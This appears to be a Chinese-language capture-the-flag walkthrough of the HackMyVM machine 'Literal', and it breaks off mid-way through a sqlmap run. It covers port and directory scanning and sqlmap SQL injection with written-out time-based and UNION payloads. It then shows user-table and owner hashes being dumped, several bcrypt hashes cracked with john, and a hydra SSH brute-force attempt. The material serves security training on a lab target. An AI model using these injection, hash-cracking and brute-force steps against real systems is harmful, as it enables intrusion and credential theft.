信息收集

ip定位

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# arp-scan -l | grep "08:00:27"
3
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
4
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
5
192.168.0.101   08:00:27:4c:64:e1       (Unknown)

nmap扫描

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.101
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-15 05:12 EST
4
Nmap scan report for agencyperfect.com (192.168.0.101)
5
Host is up (0.00027s latency).
6
Not shown: 65534 closed tcp ports (conn-refused)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   3072 30:ca:55:94:68:33:8b:50:42:f4:c2:b5:13:99:66:fe (RSA)
11
|   256 2d:b0:5e:6b:96:bd:0b:e3:14:fb:e0:d0:58:84:50:85 (ECDSA)
12
|_  256 92:d9:2a:5d:6f:58:db:85:56:d6:0c:99:68:b8:59:64 (ED25519)
13
80/tcp open  http    Apache httpd 2.4.41
14
|_http-server-header: Apache/2.4.41 (Ubuntu)
15
|_http-title: Did not follow redirect to http://blog.literal.hmv
16
Service Info: Host: blog.literal.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel
17

18
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19
Nmap done: 1 IP address (1 host up) scanned in 9.40 seconds

80端口

发现ip重定向至blog.literal.hmv | 添加hosts

目录扫描

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# dirsearch -u blog.literal.hmv
3
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
4
  from pkg_resources import DistributionNotFound, VersionConflict
5

6
  _|. _ _  _  _  _ _|_    v0.4.3.post1
7
 (_||| _) (/_(_|| (_| )
8

9
Extensions: php, aspx, jsp, html, js
10
HTTP method: GET | Threads: 25
11
Wordlist size: 11460
12

13
Output File: /home/kali/reports/_blog.literal.hmv/_26-01-15_05-22-56.txt
14

15
Target: http://blog.literal.hmv/
16

17
[05:22:56] Starting:
18
[05:22:58] 403 -  281B  - /.htaccess.bak1
19
[05:22:58] 403 -  281B  - /.htaccessBAK
20
[05:22:58] 403 -  281B  - /.htaccess.save
21
[05:22:58] 403 -  281B  - /.htaccess.sample
22
[05:22:59] 403 -  281B  - /.htaccess_extra
23
[05:22:58] 403 -  281B  - /.ht_wsr.txt
24
[05:22:59] 403 -  281B  - /.htaccess_orig
25
[05:22:59] 403 -  281B  - /.htaccessOLD2
26
[05:22:59] 403 -  281B  - /.htm
27
[05:22:59] 403 -  281B  - /.html
28
[05:22:59] 403 -  281B  - /.htaccess_sc
29
[05:22:59] 403 -  281B  - /.htaccess.orig
30
[05:22:59] 403 -  281B  - /.htpasswd_test
31
[05:22:59] 403 -  281B  - /.htpasswds
32
[05:22:59] 403 -  281B  - /.htaccessOLD
33
[05:22:59] 403 -  281B  - /.httr-oauth
34
[05:23:00] 403 -  281B  - /.php
35
[05:23:21] 200 -    0B  - /config.php
36
[05:23:23] 302 -    0B  - /dashboard.php  ->  login.php
37
[05:23:29] 301 -  320B  - /fonts  ->  http://blog.literal.hmv/fonts/
38
[05:23:32] 301 -  321B  - /images  ->  http://blog.literal.hmv/images/
39
[05:23:32] 200 -  459B  - /images/
40
[05:23:37] 200 -  778B  - /login.php
41
[05:23:38] 302 -    0B  - /logout.php  ->  login.php
42
[05:23:52] 200 -  717B  - /register.php
43
[05:23:55] 403 -  281B  - /server-status/
44
[05:23:55] 403 -  281B  - /server-status
45

46
Task Completed

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# gobuster dir -u http://192.168.0.101 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 --exclude-length 310gobuster dir -u http://blog.literal.hmv -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
3
Error: error on parsing arguments: invalid value for exclude-length: invalid string given: 310gobuster
4

5
┌──(web)─(root㉿kali)-[/home/kali]
6
└─# gobuster dir -u http://blog.literal.hmv -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 --exclude-length 310
7
===============================================================
8
Gobuster v3.6
9
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
10
===============================================================
11
[+] Url:                     http://blog.literal.hmv
12
[+] Method:                  GET
13
[+] Threads:                 64
14
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
15
[+] Negative Status codes:   404
16
[+] Exclude Length:          310
17
[+] User Agent:              gobuster/3.6
18
[+] Extensions:              bak,js,yaml,php,txt,html,zip,db
19
[+] Timeout:                 10s
20
===============================================================
21
Starting gobuster in directory enumeration mode
22
===============================================================
23
/.html                (Status: 403) [Size: 281]
24
/.php                 (Status: 403) [Size: 281]
25
/index.html           (Status: 200) [Size: 3325]
26
/images               (Status: 301) [Size: 321] [--> http://blog.literal.hmv/images/]
27
/register.php         (Status: 200) [Size: 2159]
28
/login.php            (Status: 200) [Size: 1893]
29
/logout.php           (Status: 302) [Size: 0] [--> login.php]
30
/config.php           (Status: 200) [Size: 0]
31
/fonts                (Status: 301) [Size: 320] [--> http://blog.literal.hmv/fonts/]
32
/dashboard.php        (Status: 302) [Size: 0] [--> login.php]
33
/.php                 (Status: 403) [Size: 281]
34
/.html                (Status: 403) [Size: 281]
35
/server-status        (Status: 403) [Size: 281]
36
Progress: 1985031 / 1985040 (100.00%)
37
===============================================================
38
Finished
39
===============================================================

/register

尝试注册admin失败

注册kali用户

嗨呀，kali。这是我目前在做的一些项目，还有一些未来的想法。我把接下来要做的事儿都记在这儿了，搞不好都是些不值一提的玩意儿，或者说，是烂到家的东西 —— 好吧，反正就是不咋样的东西。不过呢，我是一个人单干，所以时间虽然宝贵，但也不算啥大问题，凡事慢慢来，稳着点就好。（顺便说一句，这个页面做得有点丑，我还在学习中呢）
看看我都在忙些什么项目
退出登录

1
POST /next_projects_to_do.php HTTP/1.1
2
Host: blog.literal.hmv
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
6
Accept-Encoding: gzip, deflate
7
Content-Type: application/x-www-form-urlencoded
8
Content-Length: 18
9
Origin: http://blog.literal.hmv
10
Connection: keep-alive
11
Referer: http://blog.literal.hmv/next_projects_to_do.php
12
Cookie: PHPSESSID=l5gd282b80gmbbiggnqjcgfeuk
13
Upgrade-Insecure-Requests: 1
14
Priority: u=0, i
15

16
sentence-query=123

尝试进行sqlmap：（慢如龟速，我直接拿wp的用了）

1
┌──(kali㉿kali)-[~/temp/literal]
2
└─$ sqlmap -u "http://blog.literal.hmv/next_projects_to_do.php" --data "sentence-query=1" --cookie="PHPSESSID=1q4tie68cpa1mue9af2ao65549" --batch --dbs
3
        ___
4
       __H__
5
 ___ ___[.]_____ ___ ___  {1.9.2#stable}
6
|_ -| . [,]     | .'| . |
7
|___|_  [)]_|_|_|__,|  _|
8
      |_|V...       |_|   https://sqlmap.org
9

10
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
11

12
[*] starting @ 12:04:49 /2025-06-08/
13

14
[12:04:49] [INFO] resuming back-end DBMS 'mysql'
15
[12:04:49] [INFO] testing connection to the target URL
16
sqlmap resumed the following injection point(s) from stored session:
17
---
18
Parameter: sentence-query (POST)
19
    Type: time-based blind
20
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
21
    Payload: sentence-query=1' AND (SELECT 3428 FROM (SELECT(SLEEP(5)))hFKD) AND 'mdnY'='mdnY
22

23
    Type: UNION query
24
    Title: Generic UNION query (NULL) - 5 columns
25
    Payload: sentence-query=1' UNION ALL SELECT NULL,CONCAT(0x717a6b7871,0x4b756f5a616d456b4c76596f48446652644149766b6d64745666776148746858744863505247566e,0x716b626a71),NULL,NULL,NULL-- -
26
---
27
[12:04:49] [INFO] the back-end DBMS is MySQL
28
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
29
web application technology: Apache 2.4.41
30
back-end DBMS: MySQL >= 5.0.12
31
[12:04:49] [INFO] fetching database names
32
available databases [4]:
33
[*] blog
34
[*] information_schema
35
[*] mysql
36
[*] performance_schema
37

38
[12:04:50] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/blog.literal.hmv'
39

40
┌──(kali㉿kali)-[~/temp/literal]
41
└─$ sqlmap -u "http://blog.literal.hmv/next_projects_to_do.php" --data "sentence-query=1" --cookie="PHPSESSID=1q4tie68cpa1mue9af2ao65549" --batch -D blog --tables
42
-----
43
Database: blog
44
[2 tables]
45
+----------+
46
| projects |
47
| users    |
48
+----------+
49

50
┌──(kali㉿kali)-[~/temp/literal]
51
└─$ sqlmap -u "http://blog.literal.hmv/next_projects_to_do.php" --data "sentence-query=1" --cookie="PHPSESSID=1q4tie68cpa1mue9af2ao65549" --batch -D blog -T users --dump
52

53
Database: blog
54
Table: users
55
[18 entries]
56
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
57
| userid | username  | useremail                        | userpassword                                                 | usercreatedate      |
58
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
59
| 1      | test      | test@blog.literal.htb            | $2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma | 2023-04-07 17:21:47 |
60
| 2      | admin     | admin@blog.literal.htb           | $2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K | 2023-04-07 17:21:47 |
61
| 3      | carlos    | carlos@blog.literal.htb          | $2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW | 2023-04-07 17:21:48 |
62
| 4      | freddy123 | freddy123@zeeli.moc              | $2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK | 2023-04-07 17:21:48 |
63
| 5      | jorg3_M   | jorg3_M@zeeli.moc                | $2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG | 2023-04-07 17:21:48 |
64
| 6      | aNdr3s1to | aNdr3s1to@puertonacional.ply     | $2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm | 2023-04-07 17:21:48 |
65
| 7      | kitty     | kitty@estadodelarte.moc          | $2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW | 2023-04-07 17:21:48 |
66
| 8      | walter    | walter@forumtesting.literal.hmv  | $2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO | 2023-04-07 17:21:48 |
67
| 9      | estefy    | estefy@caselogic.moc             | $2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa | 2023-04-07 17:21:48 |
68
| 10     | michael   | michael@without.you              | $2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km | 2023-04-07 17:21:48 |
69
| 11     | r1ch4rd   | r1ch4rd@forumtesting.literal.hmv | $2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO | 2023-04-07 17:21:48 |
70
| 12     | fel1x     | fel1x@without.you                | $2y$10$o06afYsuN8yk0yoA.SwMzucLEavlbI8Rl43.S0tbxL.VVSbsCEI0m | 2023-04-07 17:21:48 |
71
| 13     | kelsey    | kelsey@without.you               | $2y$10$vxN98QmK39rwvVbfubgCWO9W2alVPH4Dp4Bk7DDMWRvfN995V4V6. | 2023-04-07 17:21:48 |
72
| 14     | jtx       | jtx@tiempoaltiempo.hy            | $2y$10$jN5dt8syJ5cVrlpotOXibeNC/jvW0bn3z6FetbVU/CeFtKwhdhslC | 2023-04-07 17:21:48 |
73
| 15     | DRphil    | DRphil@alcaldia-tol.gob          | $2y$10$rW58MSsVEaRqr8uIbUeEeuDrYB6nmg7fqGz90rHYHYMt2Qyflm1OC | 2023-04-07 17:21:48 |
74
| 16     | carm3N    | carm3N@estadodelarte.moc         | $2y$10$D7uF6dKbRfv8U/M/mUj0KujeFxtbj6mHCWT5SaMcug45u7lo/.RnW | 2023-04-07 17:21:48 |
75
| 17     | lanz      | lanz@literal.htb                 | $2y$10$PLGN5.jq70u3j5fKpR8R6.Zb70So/8IWLi4e69QqJrM8FZvAMf..e | 2023-04-07 17:55:36 |
76
| 18     | kali      | kali@kali.com                    | $2y$10$zzhgE4mDcdEGhDR6VGwK9.qpCDLnDkFmVB6cSDo.bPNjKdUV.Hw1. | 2025-06-08 15:40:11 |
77
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+

1
test:$2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma
2
admin:$2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K
3
carols:$2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW
4
freddy123:$2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK
5
jorg3_M:$2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG
6
aNdr3s1to:$2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm
7
kitty:$2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW
8
walter:$2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO
9
estefy:$2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa
10
michael:$2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km
11
r1ch4rd:$2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO
12
fel1x:$2y$10$o06afYsuN8yk0yoA.SwMzucLEavlbI8Rl43.S0tbxL.VVSbsCEI0m
13
kelsey:$2y$10$vxN98QmK39rwvVbfubgCWO9W2alVPH4Dp4Bk7DDMWRvfN995V4V6.
14
jtx:$2y$10$jN5dt8syJ5cVrlpotOXibeNC/jvW0bn3z6FetbVU/CeFtKwhdhslC
15
DRphil:$2y$10$rW58MSsVEaRqr8uIbUeEeuDrYB6nmg7fqGz90rHYHYMt2Qyflm1OC
16
carm3N:$2y$10$D7uF6dKbRfv8U/M/mUj0KujeFxtbj6mHCWT5SaMcug45u7lo/.RnW
17
lanz:$2y$10$PLGN5.jq70u3j5fKpR8R6.Zb70So/8IWLi4e69QqJrM8FZvAMf..e
18
kali:$2y$10$zzhgE4mDcdEGhDR6VGwK9.qpCDLnDkFmVB6cSDo.bPNjKdUV.Hw1.

尝试进行破译：

1
┌──(kali㉿kali)-[~/temp/literal]
2
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
3
Using default input encoding: UTF-8
4
Loaded 18 password hashes with 18 different salts (bcrypt [Blowfish 32/64 X3])
5
Cost 1 (iteration count) is 1024 for all loaded hashes
6
Will run 2 OpenMP threads
7
Press 'q' or Ctrl-C to abort, almost any other key for status
8
123456789        (freddy123)
9
butterfly        (estefy)
10
monica           (r1ch4rd)
11
hellokitty       (kitty)
12
50cent           (DRphil)
13
slipknot         (jorg3_M)
14
michael1         (michael)
15
147258369        (fel1x)
16
kelsey           (kelsey)
17
741852963        (walter)
18
zxcvbnm,./       (jtx)

尝试爆破但是失败了：

1
┌──(kali㉿kali)-[~]
2
└─$ hydra -L user.txt -P pass.txt ssh://192.168.21.5
3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
4

5
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-07 05:35:55
6
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
7
[DATA] max 16 tasks per 1 server, overall 16 tasks, 252 login tries (l:18/p:14), ~16 tries per task
8
[DATA] attacking ssh://192.168.21.5:22/
9
1 of 1 target completed, 0 valid password found
10
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-07 05:36:54

在邮箱中发现forumtesting.literal.hmv，在/etc/hosts中添加一下,访问

跳转至http://forumtesting.literal.hmv/category.php↗

1
┌──(kali㉿kali)-[~]
2
└─$ curl http://forumtesting.literal.hmv/category.php
3
<!DOCTYPE html>
4
<html>
5
<head>
6
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
7
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
8
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css">
9
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
10
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
11
<!-- jQuery -->
12
<title>c4TLoUis forum</title>
13
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
14
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
15
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
16
<link rel="stylesheet" href="css/style.css">
17
</head>
18
<body class="">
19
<div class="container" style="min-height:500px;">
20
        <div class="container">
21
        <div class="row">
22
                <h2>Discussion Forum | About... Imagination</h2>
23
                <h3><a href="category.php">Home</a> | <a href="login.php">Login</a> | <a href="cp_login.php">Control Panel</a></h3>
24

25

26
                                        <div class="single category">
27
                                <ul class="list-unstyled">
28
                                        <li><span style="font-size:25px;font-weight:bold;">Categories</span> <span class="pull-right"><span style="font-size:20px;font-weight:bold;">Topics / Posts</span></span></li>
29
                                                               <li><a href="category.php?category_id=2" title="">Forum details <span class="pull-right">0 / 0</span></a></li>
30
                                                               <li><a href="category.php?category_id=1" title="">New things for the blog <span class="pull-right">0 / 0</span></a></li>
31
                                                               </ul>
32
                   </div>
33
                </div>
34
</div>
35
<div class="insert-post-ads1" style="margin-top:20px;">
36

37
</body>
38
</html>

发现了会跳转到category.php?category_id=2和category.php?category_id=1，尝试SQL注入

1
┌──(kali㉿kali)-[~]
2
└─$ sqlmap -u "http://forumtesting.literal.hmv/category.php?category_id=1" --dbs
3
        ___
4
       __H__
5
 ___ ___[)]_____ ___ ___  {1.9.6#stable}
6
|_ -| . [(]     | .'| . |
7
|___|_  [.]_|_|_|__,|  _|
8
      |_|V...       |_|   https://sqlmap.org
9

10
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
11

12
[*] starting @ 05:07:25 /2025-09-07/
13

14
[05:07:25] [INFO] testing connection to the target URL
15
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=i22h1s4iub5...odh6ljfn5r'). Do you want to use those [Y/n] y
16
[05:07:27] [INFO] checking if the target is protected by some kind of WAF/IPS
17
[05:07:27] [INFO] testing if the target URL content is stable
18
[05:07:27] [INFO] target URL content is stable
19
[05:07:27] [INFO] testing if GET parameter 'category_id' is dynamic
20
[05:07:27] [INFO] GET parameter 'category_id' appears to be dynamic
21
[05:07:27] [WARNING] heuristic (basic) test shows that GET parameter 'category_id' might not be injectable
22
[05:07:27] [INFO] testing for SQL injection on GET parameter 'category_id'
23
[05:07:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
24
[05:07:27] [WARNING] reflective value(s) found and filtering out
25
[05:07:27] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
26
[05:07:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
27
[05:07:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
28
[05:07:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
29
[05:07:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
30
[05:07:28] [INFO] testing 'Generic inline queries'
31
[05:07:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
32
[05:07:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
33
[05:07:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
34
[05:07:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
35
[05:07:48] [INFO] GET parameter 'category_id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
36
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
37
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
38
[05:07:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
39
[05:07:53] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
40
[05:07:53] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
41
[05:07:53] [INFO] target URL appears to have 1 column in query
42
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] y
43
[05:07:55] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
44
[05:07:55] [INFO] target URL appears to be UNION injectable with 1 columns
45
[05:07:55] [INFO] checking if the injection point on GET parameter 'category_id' is a false positive
46
GET parameter 'category_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
47
sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:
48
---
49
Parameter: category_id (GET)
50
    Type: time-based blind
51
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
52
    Payload: category_id=1 AND (SELECT 1383 FROM (SELECT(SLEEP(5)))xNgV)
53
---
54
[05:08:38] [INFO] the back-end DBMS is MySQL
55
[05:08:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
56
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
57
web application technology: PHP, Apache 2.4.41
58
back-end DBMS: MySQL >= 5.0.12
59
[05:08:38] [INFO] fetching database names
60
[05:08:38] [INFO] fetching number of databases
61
[05:08:38] [INFO] retrieved:
62
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
63
[05:09:11] [INFO] adjusting time delay to 1 second due to good response times
64
3
65
[05:09:11] [INFO] retrieved: information_schema
66
[05:11:06] [INFO] retrieved: performance_schema
67
[05:12:57] [INFO] retrieved: forumtesting
68
available databases [3]:
69
[*] forumtesting
70
[*] information_schema
71
[*] performance_schema
72

73
[05:14:16] [WARNING] HTTP error codes detected during run:
74
500 (Internal Server Error) - 72 times
75
[05:14:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv'
76

77
[*] ending @ 05:14:16 /2025-09-07/
78
┌──(kali㉿kali)-[~]
79
└─$ sqlmap -u "http://forumtesting.literal.hmv/category.php?category_id=1" -D forumtesting --tables
80
        ___
81
       __H__
82
 ___ ___[,]_____ ___ ___  {1.9.6#stable}
83
|_ -| . ["]     | .'| . |
84
|___|_  [.]_|_|_|__,|  _|
85
      |_|V...       |_|   https://sqlmap.org
86

87
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
88

89
[*] starting @ 05:20:33 /2025-09-07/
90

91
[05:20:33] [INFO] resuming back-end DBMS 'mysql'
92
[05:20:33] [INFO] testing connection to the target URL
93
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=1lqb93c1bl9...s3e3671pdm'). Do you want to use those [Y/n] y
94
sqlmap resumed the following injection point(s) from stored session:
95
---
96
Parameter: category_id (GET)
97
    Type: time-based blind
98
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
99
    Payload: category_id=1 AND (SELECT 1383 FROM (SELECT(SLEEP(5)))xNgV)
100
---
101
[05:21:00] [INFO] the back-end DBMS is MySQL
102
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (focal or eoan)
103
web application technology: Apache 2.4.41, PHP
104
back-end DBMS: MySQL >= 5.0.12
105
[05:21:00] [INFO] fetching tables for database: 'forumtesting'
106
[05:21:00] [INFO] fetching number of tables for database 'forumtesting'
107
[05:21:00] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
108
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
109
[05:21:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
110
5
111
[05:21:49] [INFO] retrieved:
112
[05:21:59] [INFO] adjusting time delay to 1 second due to good response times
113
forum_category
114
[05:23:31] [INFO] retrieved: forum_owner
115
[05:24:19] [INFO] retrieved: forum_posts
116
[05:25:11] [INFO] retrieved: forum_topics
117
[05:26:06] [INFO] retrieved: forum_users
118
Database: forumtesting
119
[5 tables]
120
+----------------+
121
| forum_category |
122
| forum_owner    |
123
| forum_posts    |
124
| forum_topics   |
125
| forum_users    |
126
+----------------+
127

128
[05:26:48] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv'
129

130
[*] ending @ 05:26:48 /2025-09-07/
131
┌──(kali㉿kali)-[~]
132
└─$ sqlmap -u "http://forumtesting.literal.hmv/category.php?category_id=1" -D forumtesting -T forum_owner --dump
133
        ___
134
       __H__
135
 ___ ___[(]_____ ___ ___  {1.9.6#stable}
136
|_ -| . ["]     | .'| . |
137
|___|_  [(]_|_|_|__,|  _|
138
      |_|V...       |_|   https://sqlmap.org
139

140
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
141

142
[*] starting @ 06:14:15 /2025-09-07/
143

144
[06:14:15] [INFO] resuming back-end DBMS 'mysql'
145
[06:14:15] [INFO] testing connection to the target URL
146
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=v5p5ga41ijk...tke50atlns'). Do you want to use those [Y/n] y
147
sqlmap resumed the following injection point(s) from stored session:
148
---
149
Parameter: category_id (GET)
150
    Type: time-based blind
151
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
152
    Payload: category_id=1 AND (SELECT 1383 FROM (SELECT(SLEEP(5)))xNgV)
153
---
154
[06:14:16] [INFO] the back-end DBMS is MySQL
155
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
156
web application technology: Apache 2.4.41, PHP
157
back-end DBMS: MySQL >= 5.0.12
158
[06:14:16] [INFO] fetching columns for table 'forum_owner' in database 'forumtesting'
159
[06:14:16] [INFO] resumed: 5
160
[06:14:16] [INFO] resumed: created
161
[06:14:16] [INFO] resumed: email
162
[06:14:16] [INFO] resumed: id
163
[06:14:16] [INFO] resumed: password
164
[06:14:16] [INFO] resumed: username
165
[06:14:16] [INFO] fetching entries for table 'forum_owner' in database 'forumtesting'
166
[06:14:16] [INFO] fetching number of entries for table 'forum_owner' in database 'forumtesting'
167
[06:14:16] [INFO] resumed: 1
168
[06:14:16] [INFO] resumed: 2022-02-12
169
[06:14:16] [INFO] resumed: carlos@forumtesting.literal.htb
170
[06:14:16] [INFO] resumed: 1
171
[06:14:16] [INFO] resumed: 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99
172
[06:14:16] [INFO] resumed: carlos
173
[06:14:16] [INFO] recognized possible password hashes in column 'password'
174
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
175
[06:14:17] [INFO] writing hashes to a temporary file '/tmp/sqlmaphevyecj1170215/sqlmaphashes-elmqvfdz.txt'
176
do you want to crack them via a dictionary-based attack? [Y/n/q] y
177
[06:14:18] [INFO] using hash method 'sha512_generic_passwd'
178
what dictionary do you want to use?
179
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
180
[2] custom dictionary file
181
